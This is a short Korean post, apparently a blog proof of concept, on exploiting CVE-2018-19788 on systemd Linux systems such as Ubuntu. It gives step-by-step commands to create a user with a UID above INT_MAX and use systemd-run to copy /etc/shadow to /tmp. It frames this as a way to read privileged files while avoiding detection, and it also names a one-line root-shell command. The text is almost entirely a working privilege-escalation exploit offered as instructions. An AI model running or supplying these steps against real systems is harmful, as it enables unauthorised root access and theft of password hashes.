
루트 셸 없이 CVE-2018-19788 활용하기
CVE-2018-19788은 UID가 INT_MAX(즉 4000000000)를 초과하는 모든 사용자가 Ubuntu 같은 systemd 리눅스 박스에서 모든 systemctl 명령을 실행할 수 있는 문제입니다. (루트 셸을 획득하는 방법에 대한 기존 분석은 여기에 이미 있습니다). 이 분석과 전체 루트 셸 분석의 주요 차이점은 루트 사용자가 아닌 사용자 자신으로 실행된다는 점입니다(솔직히 말하면 그냥 PoC입니다).
루트 셸을 얻으려면 systemd-run -t /bin/bash를 실행하는 것만큼 간단하지만, 탐지를 피하고 싶다면 터미널 없이 권한 있는 파일을 얻기 위해 간단한 명령을 실행할 수 있습니다. 다음 단계를 따르세요:
adduser --uid 4000000000 someusername
su someusername
systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
/tmp에 있습니다:
cat /tmp/results_poc.txt